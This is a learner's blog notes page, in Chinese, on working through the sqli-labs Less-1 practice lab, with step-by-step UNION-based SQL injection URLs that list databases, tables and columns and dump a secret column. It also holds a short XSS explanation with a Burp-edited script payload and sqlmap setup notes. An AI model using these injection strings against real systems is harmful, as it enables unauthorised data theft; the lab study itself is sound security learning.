美文网首页
2019-07-15

2019-07-15

作者: 亦zZ | 来源:发表于2019-07-15 23:03 被阅读0次

http://localhost/sqli-labs-master/Less-1/?id=-2’ 正常order by 3--+

http://localhost/sqli-labs-master/Less-1/?id=-2’报错 order by 4--+

确定字段为3

http://localhost/sqli-labs-master/Less-1/?id=-2’ union select 1,2,3--+

将2改为-2使union之前的报错,查询 1,2,3 结果 2,3回显,所以可以在2,3处构造查询语句,下面以在3处为例

 

 

 

 

 

 

查询所有的库名

http://localhost/sqli-labs/Less-1/?id=-1' union

select 1,database(),(select group_concat(schema_name) from

information_schema.schemata) --+ 

 

显示库名为:information_schema,aaa,challenges,discuz,dvwa,fendo,jokeDB,mysql,performance_schema,security,test,user

 

 

 

/?id=-1' union select 1,database(),(select

group_concat(table_name) from information_schema.tables where table_schema

="challenges ") --+

 

 

 

 

 

 

数据库信息

http://localhost/sqli-labs-master/Less-1/?id=-1’union select 1,2,(select schema_name from information_schema.schemata limit0,1)--+

数据表信息

http://localhost/sqli-labs-master/Less-1/?id=-1’

?id=-1' union select 1,2,(select

group_concat(table_name) from information_schema.tables where

table_schema='challenges')--+

表名obiccy5mm6

数据列信息

查询obiccy5mm6表里的列名

http://localhost/sqli-labs-master/Less-1/?id=-1’union select 1,2,(selectgroup_concat(column_name) from information_schema.columns where table_name=' obiccy5mm6')--+

列名为:id,sessid,secret_VI9D,tryy

sessid,secret_VI9D,tryy列的具体信息

http://localhost/sqli-labs-master/Less-1/?id=-1

union select 1,2,(select

concat_ws(',',sessid,secret_VI9D,tryy) from challenges.obiccy5mm6 limit 0,1)--+

 

Xss原理

xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。

分为持久型和存储型两大类

非持久型xss攻击是一次性的,仅对当次的页面访问产生影响。非持久型xss攻击要求用户访问一个被攻击者篡改后的链接,用户访问该链接时,被植入的攻击脚本被用户游览器执行,从而达到攻击目的。

持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。

通过抓包

改一下弹框数据 把抓到的 name123 改为456

message321 改成789 然后点击go

Forword发包完成

 

name栏的利用:发现前端html中对name有字数长度限制:

Burpsuite 抓包改为

<script>alert(/name/)</script>

alert(/name/)

成功弹窗出/name/


Sqlmap安装


installingzipimport hook  zip系统机制安装

import

zipimport 将软驱导入Python环境

 

sqlmap常用参数解释:https://www.cnblogs.com/insane-Mr-Li/p/10150165.html

error:

missing a mandatory option 缺少强制的一些功能选项

目前没有解决这个问题

相关文章

网友评论

      本文标题:2019-07-15

      本文链接:https://www.haomeiwen.com/subject/mtxakctx.html